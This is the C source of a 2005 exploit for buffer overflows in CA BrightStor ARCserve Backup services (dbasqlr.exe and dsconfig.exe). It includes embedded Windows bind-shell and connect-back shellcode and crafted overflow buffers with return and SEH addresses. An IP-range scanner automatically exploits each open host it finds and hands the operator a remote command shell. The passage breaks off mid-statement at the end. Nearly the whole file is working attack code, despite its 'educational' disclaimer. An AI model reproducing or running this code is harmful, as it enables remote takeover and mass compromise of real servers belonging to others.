/* * 02/20/2005 * * This is provided as proof-of-concept code only for educational * purposes and testing by authorized individuals with permission * to do so. * * exploit by : cybertronic * * cybertronic[at]gmx[dot]net * * This exploits the following vulnerabilities: * * Computer Associates BrightStor ARCserve Backup Agent for SQL - dbasqlr.exe * Computer Associates BrightStor ARCserve Backup Discovery Service - dsconfig.exe * * I included a vulnerability scanner, that scans for the bugs mentioned above * and logs to "scan.log" in working directory. * You have to adjust the timeout, it works fine on my network with * usec = 10000: ~10 hosts / sec * * some greetz fly to: * HD Moore - I`ll pay you some drinks, you know what they are for ;) * houseofdabus * * compile: gcc -o greetz_to_ca greetz_to_ca.c * * below is a screenshot of scan-mode: * __ __ _ * _______ __/ /_ ___ _____/ /__________ ____ (_)____ * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/ * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/ * /____/ * * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net * * --[ choose * | * |--[0] = start scanner * `--[1] = send some greetings to ca * * $ 0 * * --[ enter IP-range * | * |--[start-ip] $ 192.168.2.90 * `--[end-ip ] $ 192.168.2.120 * * --[ select port to scan for * | * |--[ 6070] = dbasqlr * `--[41523] = dsconfig * * $ 6070 * * --[ I can try to exploit the bug, shall I ? * | * |--[0] yes, try it! * `--[1] no, i`am on my own! * * $ 0 * * --[ select shellcode * | * |--[0] = bindshell * `--[1] = reverseshell * * $ 0 * * oO---[ scanner - scan.log ]---Oo * * [192.168.2.90:6070] closed * [192.168.2.91:6070] closed * [192.168.2.92:6070] closed * [192.168.2.93:6070] closed * [192.168.2.94:6070] closed * [192.168.2.95:6070] closed * [192.168.2.96:6070] closed * [192.168.2.97:6070] closed * [192.168.2.98:6070] closed * [192.168.2.99:6070] closed * [192.168.2.100:6070] closed * [192.168.2.101:6070] open * // the first one is a fake service that was running by accident ( netcat -l -p 6070 ) * oO---[ exploitation ]---Oo * * --[ connecting to 192.168.2.101:6070...done! * --[ exploiting dbasqlr.exe... * --[ sending packet [ 3288 bytes ]...done! * --[ sleeping 5 seconds... * --[ connecting to 192.168.2.101:4444...failed! * * [192.168.2.102:6070] open * * oO---[ exploitation ]---Oo * * --[ connecting to 192.168.2.102:6070...done! * --[ exploiting dbasqlr.exe... * --[ sending packet [ 3288 bytes ]...done! * --[ sleeping 5 seconds... * --[ connecting to 192.168.2.102:4444...done! * --[ b0x pwned - h4ve phun * Microsoft Windows XP [Version 5.1.2600] * (C) Copyright 1985-2001 Microsoft Corp. * * C:\WINDOWS\system32>exit * exit * bye bye... * [192.168.2.103:6070] closed * [192.168.2.104:6070] closed * [192.168.2.105:6070] closed * [192.168.2.106:6070] closed * [192.168.2.107:6070] closed * [192.168.2.108:6070] closed * [192.168.2.109:6070] closed * [192.168.2.110:6070] closed * [192.168.2.111:6070] closed * [192.168.2.112:6070] closed * [192.168.2.113:6070] closed * [192.168.2.114:6070] closed * [192.168.2.115:6070] closed * [192.168.2.116:6070] closed * [192.168.2.117:6070] closed * [192.168.2.118:6070] closed * [192.168.2.119:6070] closed * [192.168.2.120:6070] closed * * oO---[ scan completed ]---Oo * * [ cybertronic @ CA ] # * */ #include #include #include #include #include #include #include #include #include /* * * definitions * */ #define PORT_DBASQLR 6070 #define PORT_DSCONFIG 41523 #define RED "\E[31m\E[1m" #define GREEN "\E[32m\E[1m" #define YELLOW "\E[33m\E[1m" #define BLUE "\E[34m\E[1m" #define NORMAL "\E[m" /* * * prototypes * */ int connect_to_remote_host ( char* tip, unsigned short tport ); int exploit_dbasqlr ( int s, unsigned long xoredip, unsigned short xoredcbport, int option ); int exploit_dsconfig ( int s, unsigned long xoredip, unsigned short xoredcbport, int option ); int isip ( char *ip ); int is_open ( char* ip, unsigned short tport ); int select_action (); int select_shellcode (); int select_vulnerability (); int shell ( int s, char* tip, unsigned short cbport ); void connect_to_bindshell ( char* tip, unsigned short bport ); void fall_asleep ( int sec ); void header (); void start_reverse_handler ( int cbport ); void usage ( char* name ); /********************* * Windows Shellcode * *********************/ /* * Type : bind shellcode * Length: 500 bytes * Port : 4444 / 0x115c * */ unsigned char bindshell[] = "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff\xff\xff\x81\x36\x80\xbf\x32" "\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff" "\x03\x53\x06\x1f\x74\x57\x75\x95\x80\xbf\xbb\x92\x7f\x89\x5a\x1a" "\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09\xf9\x3a\x6b\xb6\xd7\x9f\x4d" "\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6\xb3\x5a\xf8\xec\xbf\x32\xfc" "\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf\xeb\xcd\xc2\x88\x36\x74\x90" "\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad\xbe\x32\x94\x09\xf9\x22\x6b" "\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81\xbf\x32\x1d\xc6\xab\xcd\xe2" "\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81\xbf\x32\x1d\xc6\xa7\xcd\xe2" "\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80\xbf\x32\x1d\xc6\xa3\xcd\xe2" "\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80\xbf\x32\x1d\xc6\x9f\xcd\xe2" "\x84\xd7\x96\x39\xae\x56\xda\x4a\x80\xbf\x32\x1d\xc6\x9b\xcd\xe2" "\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80\xbf\x32\x1d\xc6\x97\xcd\xe2" "\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80\xbf\x32\x1d\xc6\x93\x01\x6b" "\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81\xbe\x32\x94\x7f\xe9\x2a\xc4" "\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6\xa3\xb9\x4c\xd7\xe8\x5a\x96" "\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3\x40\x64\xb4\xd7\xec\xcd\xc2" "\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50\xd7\x57\xec\xe5\xbf\x5a\xf7" "\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4\x32\x0e\xb0\xb3\x7f\x01\x5d" "\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4\xaf\x76\x6a\xc4\x9b\x0f\x1d" "\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4\x9b\x62\x19\xc4\x9b\x22\xc0" "\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f\xc9\x02\xc5\x7f\xe9\x22\x1f" "\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b\x77\x65\x6b\xd6\x93\xcd\xc2" "\x94\xea\x64\xf0\x21\x8f\x32\x94\x80\x3a\xf2\xec\x8c\x34\x72\x98" "\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89\x34\x72\xa0\x0b\x17\x8a\x94" "\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80\xec\x67\xc2\xd7\x34\x5e\xb0" "\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83\x6a\xb9\xde\x98\x34\x68\xb4" "\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83\x4a\x01\x6b\x7c\x8c\xf2\x38" "\xba\x7b\x46\x93\x41\x70\x3f\x97\x78\x54\xc0\xaf\xfc\x9b\x26\xe1" "\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c\xf4\xb9\xce\x9c\xbc\xef\x1f" "\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b\x6a\x6d\xca\xdd\xe4\xf0\x90" "\x80\x2f\xa2\x04"; /* * Type : connect back shellcode * Length: 316 bytes * CBIP : reverseshell[111] ( ^ 0x99999999 ) * CBPort: reverseshell[118] ( ^ 0x9999 ) * */ unsigned char reverseshell[] = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9" "\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3" "\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE" "\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99" "\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF" "\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6" "\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF" "\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD" "\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD" "\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD" "\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66" "\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66" "\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB" "\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3" "\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3" "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D" "\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75" "\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2" "\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0"; unsigned char greetz[] = "\x20\x41\x54\x20\x4c\x45\x41\x53\x54\x20\x53\x4f\x4d\x45\x20\x47" "\x52\x45\x45\x54\x5a\x20\x46\x4c\x59\x20\x54\x4f\x3a\x20\x48\x44" "\x4d\x2c\x20\x54\x48\x43\x2c\x20\x41\x4e\x44\x20\x43\x41\x20\x4f" "\x46\x20\x43\x4f\x55\x52\x53\x45\x20\x3a\x29\x20\x2d\x20\x43\x59" "\x42\x45\x52\x54\x52\x4f\x4e\x49\x43\x20"; /* * * structures * */ typedef struct _args { char* tip; char* lip; int tport; int lport;; } args; /* * * functions * */ int connect_to_remote_host ( char* tip, unsigned short tport ) { int s; struct sockaddr_in remote_addr; struct hostent* host_addr; memset ( &remote_addr, 0x0, sizeof ( remote_addr ) ); if ( ( host_addr = gethostbyname ( tip ) ) == NULL ) { printf ( "cannot resolve \"%s\"\n", tip ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_port = htons ( tport ); remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "socket failed!\n" ); exit ( 1 ); } printf ( "--[ connecting to %s:%u...", tip, tport ); if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( "failed!\n" ); exit ( 1 ); } printf ( "done!\n" ); return ( s ); } int exploit_dbasqlr ( int s, unsigned long xoredip, unsigned short xoredcbport, int option ) { unsigned long pushesp = 0x20c0c1ab; //Asbrdcst.dll char buffer[3289]; bzero ( &buffer, sizeof ( buffer ) ); memset ( buffer, 0x41, sizeof ( buffer ) - 1 ); memcpy ( buffer + 14, greetz, sizeof ( greetz ) - 1 ); memcpy ( buffer + 1337, "\x81\xc4\x54\xf2\xff\xff", 6 ); //good code <-------. memcpy ( buffer + 3168, ( unsigned char* ) &pushesp, 4 ); // | memcpy ( buffer + 3172, "\xe9\xd0\xf8\xff\xff", 5 ); //jmp back 1840 bytes --' if ( option == 0 ) { memcpy ( &reverseshell[111], &xoredip, 4); memcpy ( &reverseshell[118], &xoredcbport, 2); memcpy ( buffer + 1343, reverseshell, sizeof ( reverseshell ) - 1 ); } else memcpy ( buffer + 1343, bindshell, sizeof ( bindshell ) - 1 ); printf ( "--[ exploiting " YELLOW "dbasqlr.exe" NORMAL"...\n" ); printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) ); if ( write ( s, buffer, strlen ( buffer ) ) <= 0 ) { printf ( RED "failed!\n" NORMAL); return ( 1 ); } printf ( YELLOW "done!\n" NORMAL); sleep ( 1 ); close ( s ); return ( 0 ); } int exploit_dsconfig ( int s, unsigned long xoredip, unsigned short xoredcbport, int option ) { char buffer[4129]; bzero ( &buffer, sizeof ( buffer ) ); memset ( buffer, 0x41, sizeof ( buffer ) - 1 ); buffer[ 0] = 0x9b; buffer[ 1] = 0x53; //S buffer[ 2] = 0x45; //E buffer[ 3] = 0x52; //R buffer[ 4] = 0x56; //V buffer[ 5] = 0x49; //I buffer[ 6] = 0x43; //C buffer[ 7] = 0x45; //E buffer[ 8] = 0x50; //P buffer[ 9] = 0x43; //C buffer[10] = 0x18; buffer[11] = 0x01; buffer[12] = 0x02; buffer[13] = 0x03; buffer[14] = 0x04; buffer[15] = 0x53; //S buffer[16] = 0x45; //E buffer[17] = 0x52; //R buffer[18] = 0x56; //V buffer[19] = 0x49; //I buffer[20] = 0x43; //C buffer[21] = 0x45; //E buffer[22] = 0x50; //P buffer[23] = 0x43; //C buffer[24] = 0x01; buffer[25] = 0x0c; buffer[26] = 0x6c; buffer[27] = 0x93; buffer[28] = 0xce; buffer[29] = 0x18; buffer[30] = 0x18; memcpy ( buffer + 14, greetz, sizeof ( greetz ) - 1 ); memcpy ( buffer + 1056, "\xeb\x06", 2 ); memcpy ( buffer + 1060, "\x14\x57\x80\x23", 4 ); //SEH if ( option == 0 ) { memcpy ( &reverseshell[111], &xoredip, 4); memcpy ( &reverseshell[118], &xoredcbport, 2); memcpy ( buffer + 1064, reverseshell, sizeof ( reverseshell ) - 1 ); } else memcpy ( buffer + 1064, bindshell, sizeof ( bindshell ) - 1 ); printf ( "--[ exploiting " YELLOW "dsconfig.exe" NORMAL "...\n" ); printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) ); if ( write ( s, buffer, strlen ( buffer ) ) <= 0 ) { printf ( RED "failed!\n" NORMAL); return ( 1 ); } printf ( YELLOW "done!\n" NORMAL); sleep ( 1 ); close ( s ); return ( 0 ); } int isip ( char *ip ) { int a, b, c, d; if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) ) return ( 0 ); if ( a < 1 ) return ( 0 ); if ( a > 255 ) return 0; if ( b < 0 ) return 0; if ( b > 255 ) return 0; if ( c < 0 ) return 0; if ( c > 255 ) return 0; if ( d < 0 ) return 0; if ( d > 255 ) return 0; return 1; } int is_open ( char* ip, unsigned short tport ) { int s, n, error; int flags; int sec = 0; //change this for wan unsigned long usec = 10000; //works fine on my lan struct sockaddr_in remote_addr; struct timeval tval; fd_set rset, wset; socklen_t len; memset ( &remote_addr, 0x0, sizeof ( remote_addr ) ); remote_addr.sin_family = AF_INET; remote_addr.sin_port = htons ( tport ); inet_pton ( AF_INET, ip, &remote_addr.sin_addr ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "socket failed!\n" ); exit ( -1 ); } if ( ( flags = fcntl ( s, F_GETFL, 0 ) ) < 0 ) { close ( s ); return ( -1 ); } if ( fcntl ( s, F_SETFL, flags | O_NONBLOCK ) < 0 ) { close ( s ); return ( -1 ); } if ( ( n = connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ) == -1 ) { if ( errno != EINPROGRESS ) { close ( s ); return ( -1 ); } } if ( n == 0 ) goto done; /* connect completed immediately */ FD_ZERO ( &rset ); FD_SET ( s, &rset ); wset = rset; tval.tv_sec = sec; tval.tv_usec = usec; if ( ( n = select ( s + 1, &rset, &wset, NULL, &tval ) ) == 0 ) { close ( s ); /* timeout */ errno = ETIMEDOUT; return ( 1 ); } if ( FD_ISSET ( s, &rset ) || FD_ISSET ( s, &wset ) ) { len = sizeof ( error ); if ( getsockopt ( s, SOL_SOCKET, SO_ERROR, &error, &len ) < 0 ) return ( -1 ); } else { printf ( "select failed!\n" ); exit ( 1 ); } done: if ( fcntl ( s, F_SETFL, flags ) < 0 ) { close ( s ); return ( -1 ); } if ( error ) { close ( s ); errno = error; return ( -1 ); } return ( 0 ); } int select_action () { int ret; printf ( "\n" ); printf ( "--[ choose\n" ); printf ( " |\n" ); printf ( " |--" RED "[" NORMAL "0" RED "]" NORMAL " = start scanner\n" ); printf ( " `--" RED "[" NORMAL "1" RED "]" NORMAL " = send some greetings to ca\n" ); printf ( "\n" ); printf ( " $ " ); scanf ( "%d", &ret ); if ( ret != 0 && ret != 1 ) { printf ( "--[ invalid option!\n" ); exit ( 1 ); } return ( ret ); } int select_shellcode () { int ret; printf ( "\n" ); printf ( "--[ select shellcode\n" ); printf ( " |\n" ); printf ( " |--" RED "[" NORMAL "0" RED "]" NORMAL " = bindshell\n" ); printf ( " `--" RED "[" NORMAL "1" RED "]" NORMAL " = reverseshell\n" ); printf ( "\n" ); printf ( " $ " ); scanf ( "%d", &ret ); if ( ret != 0 && ret != 1 ) { printf ( "--[ invalid shellcode!\n" ); exit ( 1 ); } return ( ret ); } int select_vulnerability () { int ret; printf ( "\n" ); printf ( "--[ select vulnerability\n" ); printf ( " |\n" ); printf ( " |--" RED "[" NORMAL "0" RED "]" NORMAL " = dbasqlr\n" ); printf ( " `--" RED "[" NORMAL "1" RED "]" NORMAL " = dsconfig\n" ); printf ( "\n" ); printf ( " $ " ); scanf ( "%d", &ret ); if ( ret != 0 && ret != 1 ) { printf ( "--[ invalid option!\n" ); exit ( 1 ); } return ( ret ); } int shell ( int s, char* tip, unsigned short cbport ) { int n; char buffer[2048]; fd_set fd_read; printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" ); FD_ZERO ( &fd_read ); FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); while ( 1 ) { FD_SET ( s, &fd_read ); FD_SET ( 0, &fd_read ); if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 ) break; if ( FD_ISSET ( s, &fd_read ) ) { if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( write ( 1, buffer, n ) < 0 ) { printf ( "bye bye...\n" ); return; } } if ( FD_ISSET ( 0, &fd_read ) ) { if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 ) { printf ( "bye bye...\n" ); return; } if ( send ( s, buffer, n, 0 ) < 0 ) { printf ( "bye bye...\n" ); return; } } usleep(10); } } void connect_to_bindshell ( char* tip, unsigned short bport ) { int s; int sec = 5; // change this for fast targets struct sockaddr_in remote_addr; struct hostent* host_addr; if ( ( host_addr = gethostbyname ( tip ) ) == NULL ) { fprintf ( stderr, "cannot resolve \"%s\"\n", tip ); exit ( 1 ); } remote_addr.sin_family = AF_INET; remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr ); remote_addr.sin_port = htons ( bport ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 ) { printf ( "socket failed!\n" ); exit ( 1 ); } printf ( "--[ sleeping %d seconds...\n", sec ); fall_asleep ( sec ); printf ( "--[ connecting to %s:%u...", tip, bport ); if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( RED "failed!\n\n" NORMAL); exit ( 1 ); } printf ( YELLOW "done!\n" NORMAL); shell ( s, tip, bport ); } void fall_asleep ( int sec ) { sleep ( sec ); } void header () { printf ( YELLOW " __ __ _ \n" ); printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" ); printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" ); printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" ); printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" ); printf ( " /____/ \n\n" NORMAL ); printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" ); } void parse_arguments ( int argc, char* argv[], args* argp ) { int i = 0; while ( ( i = getopt ( argc, argv, "t:l:p:" ) ) != -1 ) { switch ( i ) { case 't': argp->tip = optarg; break; case 'l': argp->lip = optarg; break; case 'p': argp->lport = atoi ( optarg ); break; case ':': case '?': default: usage ( argv[0] ); } } if ( argp->tip == NULL || argp->lip == NULL || argp->lport < 1 || argp->lport > 65535 ) usage ( argv[0] ); } void start_reverse_handler ( int cbport ) { int s1, s2; struct sockaddr_in cliaddr, servaddr; socklen_t clilen = sizeof ( cliaddr ); bzero ( &servaddr, sizeof ( servaddr ) ); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl ( INADDR_ANY ); servaddr.sin_port = htons ( cbport ); printf ( "--[ starting reverse handler [port: %u]...", cbport ); if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 ) { printf ( "socket failed!\n" ); exit ( 1 ); } bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) ); if ( listen ( s1, 1 ) == -1 ) { printf ( "listen failed!\n" ); exit ( 1 ); } printf ( YELLOW "done!\n" NORMAL); if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 ) { printf ( "accept failed!\n" ); exit ( 1 ); } close ( s1 ); printf ( "--[ incomming connection from:\t" YELLOW " %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) ); shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport ); close ( s2 ); } void start_scanner ( args* argp ) { int i; int s; int fd; int sc; int option; int ip1 = 0, a = 0; int ip2 = 0, b = 0; int ip3 = 0, c = 0; int ip4 = 0, d = 0; int status = 0; char scan_ip[256]; char end_ip[256]; char line[256]; char system_time[64]; unsigned short port; unsigned short xoredcbport; unsigned long BRUTE_DELAY = 100000; unsigned long MAX_CHILDS = 40; unsigned long xoredcbip; time_t ticks = time ( NULL ); bzero ( &scan_ip, sizeof ( scan_ip ) ); bzero ( &end_ip, sizeof ( end_ip ) ); bzero ( &system_time, sizeof ( system_time ) ); printf ( "\n" ); printf ( "--[ enter IP-range\n" ); printf ( " |\n" ); printf ( " |--" RED "[" NORMAL "start-ip" RED "]" NORMAL ); printf ( " $ " ); scanf ( "%s", scan_ip ); sscanf ( scan_ip, "%u.%u.%u.%u", &ip1, &ip2, &ip3, &ip4 ); if ( !isip ( scan_ip ) ) { printf ( "Invalid IP!\n" ); exit ( 1 ); } printf ( " `--" RED "[" NORMAL "end-ip " RED "]" NORMAL ); printf ( " $ " ); scanf ( "%s", end_ip ); sscanf ( end_ip, "%u.%u.%u.%u", &a, &b, &c, &d ); if ( !isip ( end_ip ) ) { printf ( "Invalid IP!\n" ); exit ( 1 ); } printf ( "\n" ); printf ( "--[ select port to scan for\n" ); printf ( " |\n" ); printf ( " |--" RED "[" NORMAL " 6070" RED "]" NORMAL " = dbasqlr\n" ); printf ( " `--" RED "[" NORMAL "41523" RED "]" NORMAL " = dsconfig\n" ); printf ( "\n" ); printf ( " $ " ); scanf ( "%u", &port ); if ( port != 6070 && port != 41523 ) { printf ( "--[ I`m only scanning for port 6070 and 41523!\n" ); exit ( 1 ); } printf ( "\n" ); printf ( "--[ I can try to exploit the bug, shall I ?\n" ); printf ( " |\n" ); printf ( " |--" RED "[" NORMAL "0" RED "]" NORMAL " yes, try it!\n" ); printf ( " `--" RED "[" NORMAL "1" RED "]" NORMAL " no, i`am on my own!\n" ); printf ( "\n" ); printf ( " $ " ); scanf ( "%u", &option ); if ( option != 0 && option != 1 ) { printf ( "--[ invalid option!\n" ); exit ( 1 ); } if ( option == 0 ) sc = select_shellcode (); if ( ( fd = open ( "scan.log", O_CREAT | O_WRONLY | O_APPEND, S_IREAD | S_IWRITE ) ) == -1 ) { printf ( "open failed!\n" ); exit ( 1 ); } snprintf ( system_time, sizeof ( system_time ) -1, "\nDate: %s\n\n", ctime ( &ticks ) ); if ( write ( fd, system_time, strlen ( system_time ) -1 ) <= 0 ) { printf ( RED "failed!\n" NORMAL); exit ( 1 ); } printf ( "\noO---[ scanner - scan.log ]---Oo\n\n" ); while ( 1 ) { if ( ip3 > 254 ) { ip3 = 1; ip2++; } if ( ip2 > 254 ) { ip2 = 1; ip1++; } if ( ip1 > 254 ) exit ( 0 ); for ( ip4; ip4 < 255; ip4++ ) { i++; bzero ( &scan_ip, sizeof ( scan_ip ) ); snprintf ( scan_ip, sizeof ( scan_ip ) -1, "%u.%u.%u.%u", ip1, ip2, ip3, ip4 ); usleep ( BRUTE_DELAY ); switch ( fork () ) { case 0: { switch ( is_open ( scan_ip, port ) ) { case 0: { printf ( "[%s:%d] " GREEN "open" NORMAL "\n", scan_ip, port ); bzero ( &line, sizeof ( line ) ); snprintf ( line, sizeof ( line ) -1, "[%s:%d]\n\n", scan_ip, port ); if ( write ( fd, line, strlen ( line ) -1 ) <= 0 ) { printf ( RED "failed!\n" NORMAL); exit ( 1 ); } if ( option == 0 ) { printf ( "\n" ); printf ( "oO---[ exploitation ]---Oo\n" ); printf ( "\n" ); s = connect_to_remote_host ( scan_ip, port ); switch( sc ) { case 0: { if ( port == 6070 ) { if ( exploit_dbasqlr ( s, ( unsigned long ) NULL, ( unsigned short ) NULL, 1 ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } connect_to_bindshell ( scan_ip, 4444 ); break; } else { if ( exploit_dsconfig ( s, ( unsigned long ) NULL, ( unsigned short ) NULL, 1 ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } connect_to_bindshell ( scan_ip, 4444 ); break; } } case 1: { if ( port == 6070 ) { xoredcbip = inet_addr ( argp->lip ) ^ ( unsigned long ) 0x99999999; xoredcbport = htons ( argp->lport ) ^ ( unsigned short ) 0x9999; if ( exploit_dbasqlr ( s, xoredcbip, xoredcbport, 0 ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } start_reverse_handler ( argp->lport ); break; } else { xoredcbip = inet_addr ( argp->lip ) ^ ( unsigned long ) 0x99999999; xoredcbport = htons ( argp->lport ) ^ ( unsigned short ) 0x9999; if ( exploit_dsconfig ( s, xoredcbip, xoredcbport, 0 ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } start_reverse_handler ( argp->lport ); break; } } } } break; } case 1: printf ( "[%s:%d] " RED "closed" NORMAL "\n", scan_ip, port ); break; default: printf ( "[%s:%d] " RED "closed" NORMAL "\n", scan_ip, port ); break; } exit(0); break; } case -1: { printf ( "fork failed!\n"); exit ( 1 ); break; } default: { if ( i > MAX_CHILDS - 2 ) { wait ( &status ); i--; } break; } } if ( ip1 == a && ip2 == b && ip3 == c && ip4 == d ) { close ( fd ); printf ( "\noO---[ scan completed ]---Oo\n\n" ); exit ( 0 ); } } ip4 = 1; ip3++; } } void usage ( char* name ) { int i; printf ( "\n" ); printf ( "Note: all switches have to be specified!\n" ); printf ( "You can choose between bind and cb shellcode later!\n" ); printf ( "\n" ); printf ( "Usage: %s -t -l -p \n", name ); printf ( "\n" ); exit ( 1 ); } int main ( int argc, char* argv[] ) { int s, action, vuln, sc; unsigned long xoredcbip; unsigned short xoredcbport; args myargs; system ( "clear" ); header (); parse_arguments ( argc, argv, &myargs ); if ( !isip ( myargs.tip ) ) { printf ( "Invalid Target IP!\n" ); exit ( 1 ); } if ( !isip ( myargs.lip ) ) { printf ( "Invalid Connect Back IP!\n" ); exit ( 1 ); } action = select_action (); if ( !action ) start_scanner ( &myargs ); vuln = select_vulnerability (); sc = select_shellcode (); switch ( vuln ) { case 0: { s = connect_to_remote_host ( myargs.tip, PORT_DBASQLR ); switch( sc ) { case 0: { if ( exploit_dbasqlr ( s, ( unsigned long ) NULL, ( unsigned short ) NULL, 1 ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } connect_to_bindshell ( myargs.tip, 4444 ); break; } case 1: { xoredcbip = inet_addr ( myargs.lip ) ^ ( unsigned long ) 0x99999999; xoredcbport = htons ( myargs.lport ) ^ ( unsigned short ) 0x9999; if ( exploit_dbasqlr ( s, xoredcbip, xoredcbport, 0 ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } start_reverse_handler ( myargs.lport ); break; } } break; } case 1: { s = connect_to_remote_host ( myargs.tip, PORT_DSCONFIG ); switch( sc ) { case 0: { if ( exploit_dsconfig ( s, ( unsigned long ) NULL, ( unsigned short ) NULL, 1 ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } connect_to_bindshell ( myargs.tip, 4444 ); break; } case 1: { xoredcbip = inet_addr ( myargs.lip ) ^ ( unsigned long ) 0x99999999; xoredcbport = htons ( myargs.lport ) ^ ( 